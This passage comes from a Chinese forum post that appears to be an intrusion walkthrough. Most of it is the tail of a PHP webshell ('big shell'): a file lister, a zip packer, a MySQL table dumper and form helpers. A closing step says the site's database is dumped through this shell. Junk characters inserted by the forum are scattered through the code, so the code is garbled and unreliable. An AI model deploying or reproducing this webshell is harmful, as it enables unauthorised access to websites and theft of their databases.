  1686.                 else return 0;
    0 d& Y9 P# l7 H' e# V+ o+ o
  1687.         }+ i5 u" N$ [* f/ b6 U* C% H6 m2 p

  1688. 6 H$ z" ^) S7 E, h  \$ v
  1689.         // 获得指定目录文件列表
    * d  c, w; D9 `9 `) @
  1690.         function GetFileList($dir){
    5 O4 |3 x* l  ?+ @4 G% d* r; S
  1691.                 static $a;
    : }1 K6 r6 b" M8 h" L
  1692.                 if (is_dir($dir)) {
    ; |8 s2 u3 S& ]3 t3 s  z5 |, z
  1693.                         if ($dh = opendir($dir)) {( o, X: m% x; ]) N0 W
  1694.                                 while ($file = readdir($dh)) {
    + _& W; T- u/ _4 J9 Y
  1695.                                         if($file!='.' && $file!='..'){% n3 q1 ]3 N3 S+ N- ?9 Y' t# x
  1696.                                                 $f=$dir .'/'. $file;& T) Z& H3 n. f1 u; r8 k9 c
  1697.                                                 if(is_dir($f)) $this->GetFileList($f);
    : a: z- m: o. N! w0 o4 r8 {
  1698.                                                 $a[]=$f;" S8 S! H: h: X, Q- ]* D* T0 b
  1699.                                         }2 i0 B) b6 v! x( ]! Z9 j
  1700.                                 }
    ; \7 z  j+ g4 g# s
  1701.                                 closedir($dh);; M' I) g' m* P. q
  1702.                         }" {( Q* G3 q! L; b4 W  ^! b
  1703.                 }7 Z7 @1 D+ k0 V3 z. J
  1704.                 return $a;+ r8 D, r, Z7 U" ~1 W2 ~
  1705.         }' [0 ~* h8 Q" n# K' N

  1706. " L/ A& @, a: @# K4 ?3 [
  1707.         var $datasec      = array();; C% o+ e- u/ d! C; r6 \
  1708.         var $ctrl_dir     = array();% W8 g  Z- X9 z" u
  1709.         var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
    . P, U- P& v" c9 Z
  1710.         var $old_offset   = 0;; f1 d9 e1 K. `+ B/ k( P& u3 ~' y' i
  1711. 9 S6 A% a% j4 A3 j
  1712.         function unix2DosTime($unixtime = 0) {& H' w! U' h6 U5 k
  1713.                 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
    2 t$ t" M# Q8 p
  1714.                 if ($timearray['year'] < 1980) {3 G+ i1 _6 Z  I' P7 m  B! P
  1715.                         $timearray['year']    = 1980;
    4 Q! Y& D9 c! H- q" r& z7 W/ \' x& a
  1716.                         $timearray['mon']     = 1;
    : \% T% m* j3 R1 ^( u
  1717.                         $timearray['mday']    = 1;
    2 ]: F# u5 ^0 r1 \. T4 ~
  1718.                         $timearray['hours']   = 0;" I: k& ]- n: w! I
  1719.                         $timearray['minutes'] = 0;
    ( N9 f  W0 b: h8 b3 g3 X
  1720.                         $timearray['seconds'] = 0;
    9 A5 @6 k+ q. a
  1721.                 } // end if
    ; ?2 T% w/ R1 J0 E1 P8 }9 k
  1722.                 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |, g" n) j5 _% R) Y& l! o
  1723.                                 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
    ! P  x- {/ R: I+ t( {+ s6 j
  1724.         }
    9 Z3 u7 z' z7 {1 }7 M* l: Q3 ?# `
  1725.         function addFile($data, $name, $time = 0) {! |# d9 L4 r2 ~- Q# b
  1726.                 $name = str_replace('\\', '/', $name);. @; |7 x1 |* R# h% s0 Z0 T) S
  1727.                 $dtime = dechex($this->unix2DosTime($time));
    8 c. H- k) F3 I7 w  O
  1728.                 $hexdtime        = '\x' . $dtime[6] . $dtime[7]; E! w  a. y" c
  1729.                                         . '\x' . $dtime[4] . $dtime[5]& A* b( G: {# f$ l7 `& {8 `
  1730.                                         . '\x' . $dtime[2] . $dtime[3]
    ; j5 w) c1 L+ Y0 c$ I- `& \1 K
  1731.                                         . '\x' . $dtime[0] . $dtime[1];0 j: |( C# J; ^( _
  1732.                 eval('$hexdtime = "' . $hexdtime . '";');
    $ S; N5 Z2 q! t' J8 |; C) R  d
  1733.                 $fr        = "\x50\x4b\x03\x04";7 j6 Z. \& K; z: i! p- y
  1734.                 $fr        .= "\x14\x00";
    ) p% s- r" r3 L) m+ ]6 N
  1735.                 $fr        .= "\x00\x00";* i' l( R- ^0 s
  1736.                 $fr        .= "\x08\x00";; m$ p' [0 V$ }7 O  G5 \
  1737.                 $fr        .= $hexdtime;
    $ X% {( K/ a1 x6 {; h
  1738.                 $unc_len = strlen($data);
    * O! F# g3 x& }/ f6 g+ V& h
  1739.                 $crc = crc32($data);  Q- T2 t4 G& b7 A0 \2 F
  1740.                 $zdata = gzcompress($data);
    & f; {4 W( M2 n, d) _; \0 G: P
  1741.                 $c_len = strlen($zdata);: ?. F9 G9 w/ r: N* C
  1742.                 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);) l# Q4 b. d& n  v" p
  1743.                 $fr .= pack('V', $crc);' ^0 J8 N1 s: V
  1744.                 $fr .= pack('V', $c_len);5 Q! s$ c. v3 u1 y
  1745.                 $fr .= pack('V', $unc_len);
    ' G$ d# D$ n2 [* c
  1746.                 $fr .= pack('v', strlen($name));
    # z2 l. h2 A8 p3 W* C) |% a% I0 A
  1747.                 $fr .= pack('v', 0);
    1 U( R0 }8 }* b( B, ^
  1748.                 $fr .= $name;# @$ G1 J7 J2 X0 f1 H! E) [
  1749.                 $fr .= $zdata;$ T8 b% _7 q" c+ Z6 s4 N
  1750.                 $fr .= pack('V', $crc);
    4 r% H$ l: G) D5 Y( Z$ i, u4 y' [9 H
  1751.                 $fr .= pack('V', $c_len);' l: @" j: q: `  K. e4 |& n' ?( D
  1752.                 $fr .= pack('V', $unc_len);
    ; `1 ]  l5 U% a& Z, w
  1753.                 $this -> datasec[] = $fr;' u$ }# H9 R: \* Q& e( g
  1754.                 $new_offset = strlen(implode('', $this->datasec));. R! s8 o3 q& l( d
  1755.                 $cdrec = "\x50\x4b\x01\x02";
    ' h! z8 t3 k, N( k! {1 b) _) J+ W: p
  1756.                 $cdrec .= "\x00\x00";
    4 o& q6 X5 Z8 ?8 i6 h
  1757.                 $cdrec .= "\x14\x00";. h) a7 ~$ \# A, i* t) b
  1758.                 $cdrec .= "\x00\x00";# Y9 M7 h0 a! ?4 H3 P+ b
  1759.                 $cdrec .= "\x08\x00";1 `$ J+ c' F2 a! L- X
  1760.                 $cdrec .= $hexdtime;( Q! ^1 ~2 Y3 T/ D( ]! ]% t
  1761.                 $cdrec .= pack('V', $crc);
    . k/ b6 G+ q) @: I# z7 j* @. k
  1762.                 $cdrec .= pack('V', $c_len);$ o( D' ^2 h2 ]; t. a( D# v* a$ A& y
  1763.                 $cdrec .= pack('V', $unc_len);: u5 U6 {8 h( {% }5 R0 v
  1764.                 $cdrec .= pack('v', strlen($name) );) m9 F4 j+ q' _3 L5 U
  1765.                 $cdrec .= pack('v', 0 );2 z- i5 q3 h$ u3 v- p1 ?
  1766.                 $cdrec .= pack('v', 0 );
    % m" N0 h0 e. W8 X, p; p& n
  1767.                 $cdrec .= pack('v', 0 );
    ! R+ ]+ e$ _' U6 {" v8 P0 j" F
  1768.                 $cdrec .= pack('v', 0 );
    * U: O1 T; t  J. @! i
  1769.                 $cdrec .= pack('V', 32 );+ ?1 y8 I6 ^0 L9 g& }
  1770.                 $cdrec .= pack('V', $this -> old_offset );
    6 s- d$ M# g7 c6 u* d4 Z  u: f
  1771.                 $this -> old_offset = $new_offset;
    , t1 k( c3 I7 A% Z; s& T  K4 F
  1772.                 $cdrec .= $name;0 ^8 P" \5 P2 r4 _
  1773.                 $this -> ctrl_dir[] = $cdrec;
      J/ Z; k4 ]) X$ w$ A
  1774.         }
    1 }) E& }+ S: V; K
  1775.         function file() {
    ! X6 L1 B& o& W$ \2 w/ N
  1776.                 $data    = implode('', $this -> datasec);
    0 q, }9 w& M& {4 c$ J
  1777.                 $ctrldir = implode('', $this -> ctrl_dir);9 s2 v, l4 Y: O- d/ O' ^- p, W
  1778.                 return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) .        pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";7 O4 L! C, W4 R1 `4 e4 C) x
  1779.         }1 _, i2 ]* U2 C* C1 z/ t1 Y- O
  1780. }# P8 Z, Y5 C4 t" j6 A9 S
  1781. // 备份数据库; R  t& l3 G$ u3 d
  1782. function sqldumptable($table, $fp=0) {6 q$ q* z* H- ]" J" ?3 j
  1783.         $tabledump = "DROP TABLE IF EXISTS $table;\n";
    - }" E& E  s2 G8 c- ^* L) A0 w
  1784.         $tabledump .= "CREATE TABLE $table (\n";2 U; o! v* c; }' Q) ?# g, v2 o( Q
  1785.         $firstfield=1;2 D' i& o0 s4 D! \2 `
  1786.         $fields = q("SHOW FIELDS FROM $table");  O, ]; n) i! F9 D' m
  1787.         while ($field = mysql_fetch_array($fields)) {
    : j. K5 G- p0 e
  1788.                 if (!$firstfield) {  }; y! f0 @1 @  {
  1789.                         $tabledump .= ",\n";2 Y, L1 j/ d7 B9 N5 Y- n
  1790.                 } else {5 O/ j4 \% L+ [
  1791.                         $firstfield=0;
    ' }- S5 k1 j' e. X# [& r: k, V
  1792.                 }
    0 O% k7 ^6 V- A% m/ ?3 ~
  1793.                 $tabledump .= "   $field[Field] $field[Type]";
    $ {( X, [5 ?7 |# ^& Q! L
  1794.                 if (!empty($field["Default"])) {
    2 T9 R* E5 w$ ?4 N% C- S. v) }
  1795.                         $tabledump .= " DEFAULT '$field[Default]'";
    - m9 q9 H% a1 j' B% Z6 H
  1796.                 }1 I2 c* X9 v5 a0 {4 m3 `
  1797.                 if ($field['Null'] != "YES") {# ~/ d  ?) ]8 \9 I' W6 W
  1798.                         $tabledump .= " NOT NULL";, U2 D' i0 D1 j- T
  1799.                 }
    8 b0 R6 n/ R  k
  1800.                 if ($field['Extra'] != "") {
      {" s5 d, S* j3 p
  1801.                         $tabledump .= " $field[Extra]";1 m, Q" W% @' O1 ^. [
  1802.                 }" N3 d- p8 r3 g" P6 p1 N
  1803.         }
    ( k8 u/ x, h  d* F( J& m
  1804.         fr($fields);
    * V8 U  ?4 G5 }0 m& m+ c
  1805.         $keys = q("SHOW KEYS FROM $table");8 s& k, J( d: j/ U' E+ P
  1806.         while ($key = mysql_fetch_array($keys)) {0 q- X/ G$ b: x/ a
  1807.                 $kname=$key['Key_name'];
    8 m% v/ O4 \. H) j
  1808.                 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {7 a  ~( h$ e8 `- A; m
  1809.                         $kname="UNIQUE|$kname";1 i) O! p  ]1 H) ~% f$ {! {: N  Z+ b
  1810.                 }* U! c9 y  g) v! L* x
  1811.                 if(!is_array($index[$kname])) {- t" F# u; p2 ?
  1812.                         $index[$kname] = array();
    5 ^- C3 t. C1 Z* T
  1813.                 }
    ( ^- I6 s% f# b0 H$ x- u- c5 c
  1814.                 $index[$kname][] = $key['Column_name'];
    * K9 }# p' V4 O& w2 N: w
  1815.         }0 \& j5 u% ]* K/ _+ l, d7 G- r' J7 Y
  1816.         fr($keys);
    2 O( Y% S: X2 Q2 N# n* s" Y1 i; K
  1817.         while(list($kname, $columns) = @each($index)) {
    ) \  Q0 m7 z* e- X
  1818.                 $tabledump .= ",\n";
      P9 ?9 b+ Z  J
  1819.                 $colnames=implode($columns,",");" _8 z& j; E' ^1 I% K( j, t
  1820.                 if ($kname == "PRIMARY") {
    ( J+ h! x* d# z+ F
  1821.                         $tabledump .= "   PRIMARY KEY ($colnames)";
    7 }: L& \. P1 b1 S8 c" K9 B
  1822.                 } else {3 K! i- r4 ^7 M  ]2 F3 P4 h
  1823.                         if (substr($kname,0,6) == "UNIQUE") {2 o; F, m0 d5 y, k% }! M
  1824.                                 $kname=substr($kname,7);2 I/ w3 @7 a  D8 }* m' \3 G
  1825.                         }
    : N0 ?, ]/ O5 a" d
  1826.                         $tabledump .= "   KEY $kname ($colnames)";
    : u/ k! q, A4 ~) E
  1827.                 }
    ; j9 J0 l5 Z$ @; {' K
  1828.         }/ }+ m! Q. `! `! X- @$ ]
  1829.         $tabledump .= "\n);\n\n";$ }& `" h6 x; s" z
  1830.         if ($fp) {
    1 |! F0 l7 d: B9 T, _# K7 c
  1831.                 fwrite($fp,$tabledump);
    ' w  p  V9 F, u: ]5 \6 o2 q) r
  1832.         } else {
    ; V, z" d3 I( \# o+ _% K5 P0 Z
  1833.                 echo $tabledump;& I& w; E! g' \) |, t6 d; `
  1834.         }1 D: e1 C/ F; I" c$ S
  1835.         $rows = q("SELECT * FROM $table");7 h/ \; X8 H9 W/ N0 Q/ _
  1836.         $numfields = mysql_num_fields($rows);
    ; u# z. Q* A0 Q# A2 l9 W2 f
  1837.         while ($row = mysql_fetch_array($rows)) {% _7 Y, P' a" f. p
  1838.                 $tabledump = "INSERT INTO $table VALUES(";4 l: Y! t6 \2 W8 f1 |
  1839.                 $fieldcounter=-1;
    3 V; U  @8 h7 x. T6 L
  1840.                 $firstfield=1;
    7 i+ f) b! w& q5 F3 @
  1841.                 while (++$fieldcounter<$numfields) {' n8 p0 e; F. r+ y' s
  1842.                         if (!$firstfield) {
    8 q4 h: _/ Y1 C* J1 {
  1843.                                 $tabledump.=", ";
    - [6 U0 x5 r: O# m6 V
  1844.                         } else {, T1 a% ]& S- J
  1845.                                 $firstfield=0;0 [+ x5 c$ R# f$ I1 r3 l* J
  1846.                         }
    / x+ K7 I% D/ |; R1 ?3 m$ N- L
  1847.                         if (!isset($row[$fieldcounter])) {
    & @+ b3 x) z# s1 s$ x
  1848.                                 $tabledump .= "NULL";
    $ K5 M1 _5 I) J% L: f
  1849.                         } else {4 j5 \3 q+ m) F: D
  1850.                                 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
    0 w/ {7 k; x+ l+ W" f4 P! {
  1851.                         }4 _: R& f; O1 p- y
  1852.                 }' @; l: j7 X; }7 V
  1853.                 $tabledump .= ");\n";* B* W, |: V! v* {2 P6 ]. ?
  1854.                 if ($fp) {
    + V! b2 d" `& Y4 l7 G: v/ `
  1855.                         fwrite($fp,$tabledump);1 d7 g5 F$ M' |+ Y- H1 T' T
  1856.                 } else {2 d% `  p2 Z6 z, R
  1857.                         echo $tabledump;# a5 M" ]8 F  Y
  1858.                 }5 A, Z' Y; g8 _1 ?+ [% \! e( P7 O
  1859.         }6 h# |0 I$ b8 a4 M# T# c! F0 }+ I
  1860.         fr($rows);
    5 Z) R& l, Z+ v3 h, r$ d' W
  1861.         if ($fp) {8 b: K/ t: K8 A* B0 G3 u
  1862.                 fwrite($fp,"\n");$ s( ?% I. g$ ^" A% j
  1863.         } else {- Q9 n; ^% ]& R6 `1 X
  1864.                 echo "\n";. T! A/ X$ k. S' N3 ?
  1865.         }
    * V& u- x0 r: S6 x
  1866. }8 i5 h* ~0 q+ ~. v4 ]- G2 |
  1867. function ue($str){" Q9 ~) k- h3 d$ V) e& i' `
  1868.         return urlencode($str);
    5 A" l; C4 S0 v' u% R# o
  1869. }9 j- V/ \6 Q, M) R" k( L% K
  1870. function p($str){! H' b: f7 k/ L5 ?8 g/ q
  1871.         echo $str."\n";
    , a* ]2 ^: ^" }: n. G, k
  1872. }
    / s, W- |. k6 i$ l6 i
  1873. function tbhead() {; E6 M9 u; X( w+ J
  1874.         p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');, A: b: t: s3 j. e3 L9 D! N# _
  1875. }4 {! ~5 F, I. X" I
  1876. function tbfoot(){
    7 X/ [& J4 p; o
  1877.         p('</table>');* @! ?9 v( x& m5 s+ A: p
  1878. }
    0 A: z7 Y) S! P- q* {6 K, o/ z
  1879. function makehide($name,$value=''){
    5 d  s& h" K4 ]! `- @
  1880.         p("<input id="$name" type="hidden" name="$name" value="$value" />");
    - @# B6 @) q' Q/ A0 \
  1881. }
    * n" J7 d9 R; z8 \9 S- a
  1882. function makeinput($arg = array()){
    3 k. t4 k: x6 V* ]0 f  ]! h
  1883.         $arg['size'] = $arg['size'] > 0 ? "size="$arg[size]"" : "size="100"";. }7 w* U6 [9 W. ^4 J" V
  1884.         $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';2 B6 ^3 @. A! L7 |# O" m
  1885.         !$arg['type'] && $arg['type'] = 'text';3 j8 ]; b) ~1 S2 }  Q  F
  1886.         $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
    % f" Z! C: M/ g2 X1 H; m- R' C  Y
  1887.         $arg['class'] = $arg['class'] ? $arg['class'] : 'input';4 G$ I& m# q. h) [( C5 R$ R: g4 W
  1888.         if ($arg['newline']) {
    " Y' {" n4 n+ w5 h
  1889.                 p("<p>$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] /></p>");5 ?- x& t0 N: X" X0 a% U8 X6 r4 O
  1890.         } else {7 B* g5 D# u3 U" {6 l5 N9 d8 U4 V, F
  1891.                 p("$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] />");9 X6 U, C* D3 l. V0 ?9 {
  1892.         }3 u3 _# S! }0 \7 \1 e$ y8 x4 \
  1893. }. j2 U/ B0 i/ G! j$ l5 T. `
  1894. function makeselect($arg = array()){6 L( s. C5 Y" n. @# l" V
  1895.         if ($arg['onchange']) {
    , q, k: R# J6 |- m, i6 {, U( O; j2 H
  1896.                 $onchange = 'onchange="'.$arg['onchange'].'"';
    3 g) u7 y& L+ {
  1897.         }
    1 x/ V2 f1 G3 Z* Z. [
  1898.         $arg['title'] = $arg['title'] ? $arg['title'] : '';
    ) I- x5 [1 R# E% v" ^5 N
  1899.         if ($arg['newline']) p('<p>');
    7 w/ _( w+ Z( G# D2 m9 ]$ ?6 Z4 C9 d
  1900.         p("$arg[title] <select class="input" id="$arg[name]" name="$arg[name]" $onchange>");
    : T& f+ g% U+ Y" W2 m7 o% t
  1901.                 if (is_array($arg['option'])) {7 J) t: @  b7 U6 v3 |  f5 ^$ P( e
  1902.                         foreach ($arg['option'] as $key=>$value) {
    5 G, V0 u+ m8 ]6 i  @
  1903.                                 if ($arg['selected']==$key) {% W: u8 K& d6 Q! h4 w' u7 t% \
  1904.                                         p("<option value="$key" selected>$value</option>");
    . e' X2 ^& ], [! z( f
  1905.                                 } else {
    5 E# S7 I$ [  ~; G
  1906.                                         p("<option value="$key">$value</option>");
    - X$ x! l5 G8 {5 n7 E  n# z/ ^
  1907.                                 }: e! Q/ n" T1 y' T+ d
  1908.                         }
    1 p  O7 i+ x) z
  1909.                 }
    / P2 }0 `" |. V! l- R% k& ~, U
  1910.         p("</select>");5 d0 `2 ?' C! N5 i7 T, y! S
  1911.         if ($arg['newline']) p('</p>');
    : X: _; Q- ?: q. K3 c8 @% S3 j
  1912. }
    6 X$ u6 @4 z  C. W! a* X, g0 p
  1913. function formhead($arg = array()) {" B. N: v5 u, e. r
  1914.         !$arg['method'] && $arg['method'] = 'post';( O0 D2 F7 a% W5 d
  1915.         !$arg['action'] && $arg['action'] = $self;
    $ `+ N0 X% k* G3 e
  1916.         $arg['target'] = $arg['target'] ? "target="$arg[target]"" : '';# ~3 G9 }- d% N9 O
  1917.         !$arg['name'] && $arg['name'] = 'form1';
    1 u% |' |9 r* Z/ s8 K& l/ T
  1918.         p("<form name="$arg[name]" id="$arg[name]" action="$arg[action]" method="$arg[method]" $arg[target]>");" O/ ~/ j2 Q$ Z
  1919.         if ($arg['title']) {
    + v" b5 I) l' v% p7 ^
  1920.                 p('<h2>'.$arg['title'].' »</h2>');1 u4 h& O$ b: O
  1921.         }
    : f+ O2 R) M( L/ c
  1922. }, }8 l5 v5 u5 n: \. d2 V6 x
  1923.        
    ! k% U; ]2 f" L
  1924. function maketext($arg = array()){5 C: k3 k& f7 z% k) u
  1925.         !$arg['cols'] && $arg['cols'] = 100;
      Y4 Y: s& p- ?3 Z
  1926.         !$arg['rows'] && $arg['rows'] = 25;
    / r( ?5 z2 q9 m' O) S
  1927.         $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
    . Q3 X5 t( z: w& E
  1928.         p("<p>$arg[title]<textarea class="area" id="$arg[name]" name="$arg[name]" cols="$arg[cols]" rows="$arg[rows]" $arg[extra]>$arg[value]</textarea></p>");
    ' S0 n( E& R1 W" l. x# m- `& \
  1929. }
    + s$ u0 x# V  B: ~6 K) x
  1930. . m% Z. O6 U& k$ J
  1931. function formfooter($name = ''){
    * k# \# `5 l" k
  1932.         !$name && $name = 'submit';
    . K. m7 W9 D# P* G3 {$ b  ~/ |
  1933.         p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Submit"></p>');
    9 ^. A& t1 ]3 t! }/ G: J) L' ]( o
  1934.         p('</form>');
    , G$ O1 E4 C7 z0 _  a, L& c
  1935. }
    7 y, A9 X0 f1 y( \
  1936. # }# b8 y: z7 Y: W6 ^2 P% E" T
  1937. function formfoot(){+ V+ E3 P: R7 l
  1938.         p('</form>');, s* T; R! ]3 }0 w: j( v
  1939. }6 l& j! ]" g) `. J
  1940. # w0 U" [2 r4 u/ @- j
  1941. // 调试函数6 P% s3 f: L: A
  1942. function pr($a) {
    2 d' O. ]1 d8 W
  1943.         echo '<pre>';; H, w2 o+ ?% b9 \  ]; v
  1944.         print_r($a);
    / w2 x3 [. b2 {) I
  1945.         echo '</pre>';+ w6 z9 d& U2 Y9 Y7 q6 Y" X
  1946. }
    - ~( o$ m7 q: t: G# x( }

  1947. , e3 L( M- t# E6 ~  ]) z
  1948. ?>
复制代码

11、最后通过大码对网站数据库进行脱库# F; T9 u/ q0 }

6 }) t# {6 E, }( }: e9 C6 z& l
) V$ L: Z( m4 Z! g% k4 M0 }
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|返回首页

GMT+8, 2024-12-23 23:44 , Processed in 0.140368 second(s), 26 queries .

Powered by Discuz! X3.5

© 2001-2024 Discuz! Team.

快速回复 返回顶部 返回列表